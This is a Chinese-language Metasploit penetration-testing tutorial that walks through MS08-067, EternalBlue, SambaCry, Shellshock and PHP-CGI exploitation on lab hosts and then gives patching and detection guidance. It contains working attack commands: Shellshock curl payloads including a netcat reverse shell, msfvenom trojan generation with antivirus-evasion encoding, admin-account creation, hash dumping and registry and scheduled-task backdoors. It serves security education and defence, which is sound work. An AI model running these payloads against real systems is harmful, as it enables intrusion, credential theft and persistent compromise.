Metasploit Framework 渗透测试实战:从原理到利用
Metasploit Framework 渗透测试实战:从原理到利用
摘要:本文系统讲解 Metasploit Framework 的架构设计、核心模块与实战应用,深入剖析 MS08-067、MS17-010 永恒之蓝、Shellshock 等经典漏洞的技术原理、攻击链与防御策略。
一、MSF 概述与架构
Metasploit Framework(MSF)是全球最广泛使用的渗透测试框架,由 Rapid7 公司维护,集成了 2000+ 漏洞利用模块,覆盖 Windows、Linux、macOS 等主流操作系统。
1.1 架构图
┌─────────────────────────────────────────────────────────────────────┐
│ Metasploit Framework │
├─────────────────────────────────────────────────────────────────────┤
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ REX │ │ MSF::Core │ │ MSF::Base │ │ UI Layer │ │
│ │ (基础库) │ │ (核心API) │ │ (友好API) │ │ (控制台/GUI)│ │
│ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │
├─────────────────────────────────────────────────────────────────────┤
│ Modules (模块层) │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Exploits │ │ Payloads │ │ Auxiliary│ │ Encoders │ │ NOPs │ │
│ │ 漏洞利用 │ │ 攻击载荷 │ │ 辅助模块 │ │ 编码器 │ │ 空指令 │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ ┌──────────┐ ┌──────────┐ │
│ │ Post │ │ Plugins │ │
│ │ 后渗透 │ │ 插件 │ │
│ └──────────┘ └──────────┘ │
├─────────────────────────────────────────────────────────────────────┤
│ Data / Tools / Scripts │
└─────────────────────────────────────────────────────────────────────┘
1.2 目录结构详解
MSF 在 Kali Linux 中的安装路径:/usr/share/metasploit-framework/
/usr/share/metasploit-framework/
├── modules/ # 核心模块(启动时自动加载)
│ ├── auxiliary/ # 辅助模块
│ │ ├── scanner/ # ├─ 端口扫描、服务识别
│ │ ├── dos/ # ├─ 拒绝服务攻击
│ │ └── fuzzers/ # └─ 漏洞挖掘
│ ├── encoders/ # 编码器:绕过 IDS/IPS/AV
│ ├── exploits/ # Exploit:漏洞利用代码
│ ├── nops/ # NOP 滑行指令
│ ├── payloads/ # Payload:攻击载荷
│ │ ├── singles/ # ├─ 单次执行
│ │ ├── stagers/ # ├─ 分阶段载荷(stub)
│ │ └── stages/ # └─ 完整功能载荷
│ └── post/ # 后渗透模块
│ ├── windows/ # ├─ Windows 提权、信息收集
│ └── linux/ # └─ Linux 后渗透
├── data/ # 字典、二进制工具
├── plugins/ # 数据库、扩展插件
├── scripts/ # Meterpreter 脚本
└── tools/ # 辅助工具集
模块命名规范:
exploits/windows/smb/ms08_067_netapi
↓ ↓ ↓ ↓
类型 系统 服务 模块名
payloads/windows/x64/meterpreter/reverse_tcp
↓ ↓ ↓ ↓
类型 系统 架构 功能
二、核心命令体系
2.1 控制台命令
| 命令 | 功能 | 示例 |
|---|---|---|
msfconsole |
启动交互式控制台 | - |
msfdb init |
初始化数据库 | - |
db_status |
检查数据库连接 | - |
workspace |
管理工作区 | workspace -a project1 |
2.2 模块操作命令
| 命令 | 功能 | 示例 |
|---|---|---|
search |
搜索模块(支持正则) | search type:exploit platform:windows smb |
use |
加载模块 | use exploit/windows/smb/ms17_010_eternalblue |
info |
查看模块详情 | info 或 info <module> |
show options |
显示必需/可选参数 | - |
show advanced |
显示高级选项 | - |
show payloads |
列出兼容载荷 | - |
show targets |
列出支持的目标系统 | - |
set |
设置参数 | set RHOSTS 192.168.1.0/24 |
setg |
全局设置(跨模块生效) | setg LHOST 192.168.1.100 |
unset |
清除参数 | unset RHOSTS |
check |
检查目标是否存在漏洞 | - |
run / exploit |
执行攻击 | run -j(后台运行) |
2.3 会话管理
| 命令 | 功能 |
|---|---|
sessions |
列出所有会话 |
sessions -i <ID> |
进入指定会话 |
sessions -k <ID> |
终止会话 |
sessions -u <ID> |
升级为 Meterpreter 会话 |
jobs |
列出后台任务 |
jobs -k <ID> |
终止后台任务 |
三、经典漏洞深度剖析
3.1 MS08-067:Windows Server 服务栈溢出
漏洞编号:CVE-2008-4250
CVSS 评分:10.0(Critical)
影响版本:Windows 2000、XP、Server 2003(未安装 KB958644)
攻击端口:445/TCP(SMB)
技术原理
该漏洞位于 Windows Server 服务的 NetPathCanonicalize 函数中,属于栈缓冲区溢出漏洞。
漏洞触发链:
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────────────┐
│ 攻击者 │───>│ 445端口 │───>│ SMB请求 │───>│ NetPathCanonicalize│
└──────────┘ └──────────┘ └──────────┘ └─────────┬────────┘
│
▼
┌──────────────────────┐
│ 路径规范化处理 │
│ (存在边界检查缺陷) │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 栈缓冲区溢出 │
│ 覆盖返回地址 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Shellcode 执行 │
│ 获取 SYSTEM 权限 │
└──────────────────────┘
核心缺陷分析:
// 伪代码:路径规范化逻辑
int NetPathCanonicalize(char* path) {
char buffer[260]; // 固定大小栈缓冲区
char* ptr = path;
// 移除相对路径(如 ..\)
while (*ptr == '\\') {
ptr--; // ← 漏洞点:未检查 ptr 是否越界
}
// 当路径以 "..\" 开头时,ptr 向前越界
// 导致后续 strcpy 操作覆盖栈中返回地址
strcpy(buffer, ptr);
}
栈溢出内存布局:
┌─────────────────────────────────────────────────────┐
│ 栈内存布局 │
├─────────────────────────────────────────────────────┤
│ 低地址 │
│ ┌─────────────────────────────────────────────┐ │
│ │ 局部变量 buffer[260] │ │
│ └─────────────────────────────────────────────┘ │
│ ┌─────────────────────────────────────────────┐ │
│ │ 保存的 EBP (4 bytes) │←───┤── 攻击者覆盖
│ └─────────────────────────────────────────────┘ │
│ ┌─────────────────────────────────────────────┐ │
│ │ 返回地址 EIP (4 bytes) │←───┤── 跳转到 Shellcode
│ └─────────────────────────────────────────────┘ │
│ ┌─────────────────────────────────────────────┐ │
│ │ NOP 滑行区 (0x90 * N) │ │
│ └─────────────────────────────────────────────┘ │
│ ┌─────────────────────────────────────────────┐ │
│ │ Shellcode (恶意代码) │ │
│ └─────────────────────────────────────────────┘ │
│ 高地址 │
└─────────────────────────────────────────────────────┘
攻击载荷构造:
[填充数据] [覆盖EBP] [覆盖EIP] [NOP滑行] [Shellcode]
↓ ↓ ↓ ↓ ↓
覆盖缓冲区 栈帧指针 跳转地址 0x90*16 恶意代码
MSF 利用过程
msfconsole
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show targets # 查看支持的目标系统
set RHOSTS 192.168.244.7
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.244.4
set TARGET 0 # 自动或指定目标系统版本
check # 检查漏洞是否存在
run
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
C:\Windows\system32> net user
C:\Windows\system32> net user hacker P@ssw0rd /add
C:\Windows\system32> net localgroup administrators hacker /add
防御措施
| 措施 | 操作 |
|---|---|
| 补丁修复 | 安装 KB958644 |
| 端口防护 | 关闭 445 端口或启用防火墙 |
| 网络隔离 | 禁用 SMBv1,限制内网访问 |
| 流量监控 | 检测异常 SMB 路径请求 |
3.2 MS17-010:永恒之蓝(EternalBlue)
漏洞编号:CVE-2017-0144 ~ CVE-2017-0148
CVSS 评分:10.0(Critical)
影响版本:Windows XP ~ Windows 10、Server 2003 ~ 2016
历史事件:2017 年 WannaCry 勒索病毒利用此漏洞感染全球 20 万+ 设备
技术原理
漏洞位于 SMBv1 协议处理 FEALIST(File Extended Attribute List)的内核函数中。
WannaCry 攻击链:
┌─────────────────────────────────────────────────────────────────────┐
│ WannaCry 攻击流程 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ 扫描阶段 │───>│ EternalBlue │───>│ DoublePulsar │ │
│ │ (445端口)│ │ (SMB漏洞利用)│ │ (后门植入) │ │
│ └──────────┘ └──────────────┘ └──────┬───────┘ │
│ │ │
│ ▼ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ 加密文件 │<───│ 执行勒索软件 │<───│ 下载恶意载荷 │ │
│ │ 勒索赎金 │ │ WannaCry.exe │ │ (Tor网络) │ │
│ └──────────┘ └──────────────┘ └──────────────┘ │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ 横向传播 (SMB) │ │
│ │ 感染主机 ────> 扫描内网 ────> 攻击其他主机 ────> 循环 │ │
│ └──────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
漏洞触发链:
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌─────────────────────┐
│ 攻击者 │───>│ SMBv1 │───>│Transaction│───>│ FEALIST 处理 │
│ │ │ 协商 │ │ 请求 │ │ SrvOs2FeaListSizeToNt│
└──────────┘ └──────────┘ └──────────┘ └──────────┬──────────┘
│
▼
┌──────────────────────┐
│ 内存计算错误 │
│ 整数溢出 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 内核池溢出 │
│ 覆盖 SRVNET_BUFFER │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ 劫持函数指针 │
│ 内核代码执行 │
└──────────────────────┘
七个关键缺陷(基于 Fuzzbunch 框架逆向分析):
| 编号 | 缺陷描述 | 影响 |
|---|---|---|
| 1 | Transaction InParameters 缓冲区未初始化 | 信息泄露 |
| 2 | TRANS_PEEK_NMPIPE 的 MaxParameterCount 限制失效 | 越界读取 |
| 3 | Transaction 响应数据长度越界 | 内核信息泄露 |
| 4 | Transaction Secondary 请求时序漏洞 | 竞态条件 |
| 5 | 连续数据包类型混淆 | 内存损坏 |
| 6 | EA(扩展属性)类型分配错误 | 池溢出 |
| 7 | 内核态与用户态交互缺陷 | 权限提升 |
核心漏洞代码分析:
// SrvOs2FeaListSizeToNt 函数简化逻辑
ULONG SrvOs2FeaListSizeToNt(PFEALIST FeaList) {
ULONG Size = FeaList->cbList; // 用户可控字段
// ↓ 漏洞点:未验证 Size 是否超出实际数据范围
// 当 Size 被恶意构造为大值时,后续计算发生整数溢出
return Size + sizeof(NT_FEA); // 整数溢出 → 小值
}
// 后续内存分配基于错误的大小
// 导致缓冲区溢出,覆盖相邻内核内存
MSF 利用过程
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.209.129
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.209.128
# 高级选项
set GroomAllocations 12 # 内核池预分配次数
set GroomDelta 5 # 分配间隔
set MaxExploitAttempts 3 # 最大尝试次数
check
run
meterpreter > sysinfo
Computer : WIN7-PC
OS : Windows 7 (6.1 Build 7601).
Architecture : x64
System Language : zh_CN
Meterpreter : x64/windows
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
防御措施
# 1. 检查补丁安装状态
Get-Hotfix -Id KB4013389, KB4012212, KB4012215
# 2. 禁用 SMBv1(永久)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# 3. 防火墙阻断 SMB 端口
netsh advfirewall firewall add rule name="Block SMB-TCP" dir=in action=block protocol=tcp localport=445
netsh advfirewall firewall add rule name="Block SMB-UDP" dir=in action=block protocol=udp localport=445
# 4. 验证 SMBv1 已禁用
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# State 应显示为 "Disabled"
3.3 CVE-2017-7494:Samba 远程代码执行(SambaCry)
漏洞编号:CVE-2017-7494
CVSS 评分:10.0(Critical)
影响版本:Samba 3.5.0 ~ 4.6.4/4.5.10/4.4.14
别称:SambaCry(Linux 版永恒之蓝)
技术原理
漏洞位于 Samba 处理命名管道的 is_known_pipename 函数中。
漏洞触发链:
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────────────┐
│ 攻击者 │───>│ SMB连接 │───>│上传恶意 │───>│ 请求命名管道 │
│ │ │ │ │ .so文件 │ │ is_known_pipename│
└──────────┘ └──────────┘ └──────────┘ └─────────┬────────┘
│
▼
┌──────────────────────┐
│ 路径验证缺陷 │
│ 未过滤 "/" 符号 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ dlopen() 加载恶意库 │
│ 以 root 权限执行 │
└──────────────────────┘
核心缺陷:
// is_known_pipename 函数简化逻辑
bool is_known_pipename(const char *pipename) {
// 预期:pipename 为相对路径,如 "lsarpc"
// 实际:未过滤 "/" 符号
// 攻击者可构造:"/home/share/malicious.so"
char *module_path = find_module(pipename);
// 拼接路径后调用 dlopen
dlopen(module_path, RTLD_NOW); // 以 root 权限加载!
}
利用条件:
- 对 Samba 共享目录有写入权限(匿名或弱口令)
- Samba 服务以 root 权限运行
- 目标系统存在
libc.so.6等共享库
MSF 利用过程
# 靶机环境(使用 Vulhub)
cd /path/to/vulhub/samba/CVE-2017-7494
docker-compose up -d
# 攻击机(Kali)
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.244.6
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.244.4
check
run
[*] Command shell session 1 opened
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
防御措施
# 1. 升级 Samba
apt update && apt install samba
# 2. 验证版本
smbd --version
# 应为 4.6.4+
# 3. 临时缓解(修改 smb.conf)
[global]
nt pipe support = no # 禁用命名管道
read only = yes # 共享目录只读
# 4. 重启服务
systemctl restart smbd nmbd
3.4 CVE-2014-6271:Shellshock(破壳漏洞)
漏洞编号:CVE-2014-6271
CVSS 评分:10.0(Critical)
影响版本:GNU Bash 1.14 ~ 4.3
受影响系统:几乎所有 Linux/Unix 发行版、macOS
技术原理
漏洞本质是 Bash 对环境变量中函数定义的解析缺陷,属于代码注入漏洞。
正常函数导出机制:
# 定义函数并导出为环境变量
hello() { echo "Hello World"; }
export -f hello
# 子进程中可通过环境变量还原函数
bash -c 'hello'
# 输出: Hello World
漏洞触发:
# 恶意环境变量构造
env 'VAR=() { :; }; echo VULNERABLE' bash -c "true"
Shellshock 攻击原理图:
┌─────────────────────────────────────────────────────────────────────┐
│ Shellshock 漏洞原理 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 正常解析: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ VAR=() { :; } │ │
│ │ ↑ ↑ │ │
│ │ 函数开始 函数结束 → 解析终止,后续忽略 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 漏洞解析: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ VAR=() { :; }; echo VULNERABLE │ │
│ │ ↑ ↑ ↑ ↑ │ │
│ │ 函数开始 函数结束 分号 恶意命令被错误执行! │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 根本原因: parse_and_execute() 未检测函数定义的终止符 "}" │
└─────────────────────────────────────────────────────────────────────┘
远程利用向量
| 攻击向量 | 注入点 | 示例 |
|---|---|---|
| Apache CGI | HTTP 请求头 | User-Agent: () { :; }; /bin/bash -c 'id' |
| OpenSSH | SSH_ORIGINAL_COMMAND | SSH_ORIGINAL_COMMAND='() { :; }; id' |
| DHCP | DHCP 选项字段 | 恶意 DHCP 服务器响应 |
| Qmail | 邮件头 | 发送恶意邮件 |
CGI 利用示例:
# 探测漏洞
curl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" \
http://192.168.1.100/cgi-bin/test.cgi
# 反弹 Shell
curl -H "User-Agent: () { :; }; /bin/bash -c 'nc -e /bin/bash 192.168.1.50 4444'" \
http://192.168.1.100/cgi-bin/test.cgi
MSF 利用过程
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.244.6
set RPORT 8080
set TARGETURI /cgi-bin/victim.cgi
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.244.4
run
[*] Command shell session 1 opened
id
uid=33(www-data) gid=33(www-data)
验证与修复
# 验证漏洞(存在漏洞则输出 "VULNERABLE")
env x='() { :;}; echo VULNERABLE' bash -c "echo test"
# 修复:升级 Bash
apt update && apt install --only-upgrade bash
# CentOS: yum update bash
# 验证修复(修复后只输出 "test")
env x='() { :;}; echo VULNERABLE' bash -c "echo test"
bash --version # 确保 >= 4.3-013
3.5 CVE-2012-1823:PHP-CGI 参数注入
漏洞编号:CVE-2012-1823
CVSS 评分:7.5(High)
影响版本:PHP 5.0.0 ~ 5.3.11、5.4.0 ~ 5.4.1
技术原理
PHP-CGI 模式下,查询字符串被错误解析为命令行参数。
PHP-CGI 参数注入原理:
┌─────────────────────────────────────────────────────────────────────┐
│ PHP-CGI 参数注入漏洞 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 正常流程 (RFC 3875): │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ GET /index.php?foo=bar │ │
│ │ ↓ │ │
│ │ QUERY_STRING = "foo=bar" │ │
│ │ ↓ │ │
│ │ PHP 脚本通过 $_GET['foo'] 获取 │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 漏洞利用: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ GET /index.php?-s │ │
│ │ ↓ │ │
│ │ PHP-CGI 将 "-s" 解析为命令行参数 │ │
│ │ ↓ │ │
│ │ 执行 php -s(显示源码) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 代码执行 Payload: │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ POST /index.php?-d+allow_url_include=on │ │
│ │ +-d+auto_prepend_file=php://input │ │
│ │ │ │
│ │ <?php system("id"); ?> │ │
│ └──────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
可利用的参数:
| 参数 | 功能 | 利用场景 |
|---|---|---|
-s |
显示源码 | 信息泄露 |
-i |
显示 PHP 信息 | 信息收集 |
-d |
设置 INI 选项 | 代码执行 |
-n |
不加载 php.ini | 绕过限制 |
MSF 利用过程
# 验证漏洞
curl "http://192.168.244.6:8080/index.php?-s"
# 若返回源码,则存在漏洞
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.244.6
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.244.4
run
[*] Meterpreter session 1 opened
meterpreter > sysinfo
防御措施
# Apache 配置过滤
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*)$ $1? [L]
# 或使用 mod_security
SecRule ARGS "@rx ^-" "deny,log,id:1001"
3.6 其他经典漏洞速查
| 漏洞 | CVE | 类型 | 影响组件 | MSF 模块 |
|---|---|---|---|---|
| MS10-087 | CVE-2010-3333 | 栈溢出 | Word RTF | exploit/windows/fileformat/ms10_087_rtf_pfragments_bof |
| MS10-018 | CVE-2010-0806 | UAF | IE TDC ActiveX | exploit/windows/browser/ms10_018_ie_behaviors |
| Distcc | CVE-2004-2678 | 命令注入 | Distcc 2.x | exploit/unix/misc/distcc_exec |
| vsftpd | CVE-2011-2523 | 后门 | vsftpd 2.3.4 | exploit/unix/ftp/vsftpd_234_backdoor |
四、后渗透与持久化
4.1 msfvenom 载荷生成
# 查看可用载荷
msfvenom --list payloads | grep windows
# 生成 Windows 反向 TCP 木马
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f exe -o shell.exe
# 生成 Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f elf -o shell.elf
# 生成 PHP Webshell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f raw -o shell.php
# 生成 DLL(用于 DLL 劫持)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f dll -o malicious.dll
# 编码绕过 AV
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o encoded_shell.exe
4.2 监听器配置
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
# 高级选项
set ExitOnSession false # 不退出,继续监听
set SessionCommunicationTimeout 300
set SessionExpirationTimeout 604800 # 7天
exploit -j # 后台运行
4.3 Meterpreter 核心命令
| 类别 | 命令 | 功能 |
|---|---|---|
| 系统 | sysinfo |
系统信息 |
getuid |
当前用户 | |
getsystem |
提权尝试 | |
| 文件 | pwd / lcd |
查看/切换本地目录 |
upload / download |
文件传输 | |
cat / edit |
查看/编辑文件 | |
| 网络 | ipconfig |
网络配置 |
netstat |
网络连接 | |
route |
路由表 | |
| 监控 | screenshot |
屏幕截图 |
keyscan_start/stop/dump |
键盘记录 | |
webcam_snap |
摄像头拍照 | |
record_mic |
麦克风录音 | |
| 后渗透 | hashdump |
导出 SAM 哈希 |
migrate <PID> |
进程迁移 | |
run post/windows/manage/migrate |
自动迁移到稳定进程 | |
run vnc |
远程桌面 | |
| 持久化 | run persistence |
安装持久化后门 |
4.4 持久化后门
# 方法1:Meterpreter 持久化脚本
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.1.100
# -U: 用户登录时启动
# -i: 回连间隔(秒)
# -p: 回连端口
# -r: 回连 IP
# 方法2:注册表启动项
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d "C:\\shell.exe"
# 方法3:计划任务
meterpreter > execute -f cmd.exe -i -H -a "/c schtasks /create /tn backdoor /tr C:\\shell.exe /sc onstart /ru SYSTEM"
五、防御体系构建
5.1 补丁管理矩阵
| 漏洞 | 补丁编号 | 发布日期 | 优先级 |
|---|---|---|---|
| MS08-067 | KB958644 | 2008-10-23 | 🔴 紧急 |
| MS17-010 | KB4013389 | 2017-03-14 | 🔴 紧急 |
| MS10-087 | KB2423930 | 2010-11-09 | 🟠 重要 |
| MS10-018 | KB980182 | 2010-03-30 | 🟠 重要 |
| Shellshock | Bash 4.3-013 | 2014-09-24 | 🔴 紧急 |
| SambaCry | Samba 4.6.4 | 2017-05-24 | 🔴 紧急 |
5.2 网络加固 Checklist
# Windows 加固脚本
# 1. 禁用 SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. 防火墙规则
netsh advfirewall firewall add rule name="Block SMB-TCP" dir=in action=block protocol=tcp localport=445
netsh advfirewall firewall add rule name="Block SMB-UDP" dir=in action=block protocol=udp localport=445
netsh advfirewall firewall add rule name="Block RDP" dir=in action=block protocol=tcp localport=3389
# 3. 启用 Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -PUAProtection Enabled
# 4. 审计策略
auditpol /set /subcategory:"Security State Change" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable
5.3 检测规则示例
Snort 规则(检测 MS17-010):
alert tcp any any -> any 445 (msg:"MS17-010 EternalBlue SMB Exploit Attempt"; \
flow:to_server,established; \
content:"|00 00 00|"; depth:4; \
content:"|FF|SMB"; within:4; distance:4; \
content:"|00 00 00 00 00|"; within:5; distance:53; \
metadata:impact_flag red; \
classtype:attempted-admin; sid:1000001; rev:1;)
Sysmon 配置(检测 Meterpreter):
<Sysmon schemaversion="4.50">
<EventFiltering>
<!-- 检测网络连接 -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">4444</DestinationPort>
<Image condition="contains">powershell.exe</Image>
</NetworkConnect>
<!-- 检测进程注入 -->
<ProcessCreate onmatch="include">
<ParentImage condition="contains">svchost.exe</ParentImage>
<Image condition="contains">cmd.exe</Image>
</ProcessCreate>
</EventFiltering>
</Sysmon>
六、总结
Metasploit Framework 是渗透测试领域的核心工具,其模块化设计使安全从业者能够:
| 角色 | 应用场景 |
|---|---|
| 蓝队 | 理解漏洞原理,构建纵深防御,开发检测规则 |
| 红队 | 模拟真实攻击,评估安全态势,测试应急响应 |
| 研究者 | 分析漏洞机制,开发 PoC/Exp,贡献安全社区 |
学习路径建议
入门 → 掌握 MSF 基础命令 → 复现经典漏洞(MS08-067/MS17-010)
↓
进阶 → 学习载荷生成与编码 → 练习后渗透技巧
↓
高级 → 研究漏洞原理 → 开发自定义模块 → 参与漏洞赏金
⚠️ 法律声明:本文内容仅供授权安全测试、安全研究和教育用途。未经授权的渗透测试行为违反《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条等相关法律法规,可能面临刑事处罚。
参考资源
| 类型 | 链接 |
|---|---|
| 官方文档 | https://www.metasploitunleashed.com/ |
| 漏洞数据库 | https://www.rapid7.com/db/ |
| CVE 详情 | https://cvedetails.com/ |
| 靶场环境 | https://github.com/vulhub/vulhub |
| Metasploitable | https://sourceforge.net/projects/metasploitable/ |
浙公网安备 33010602011771号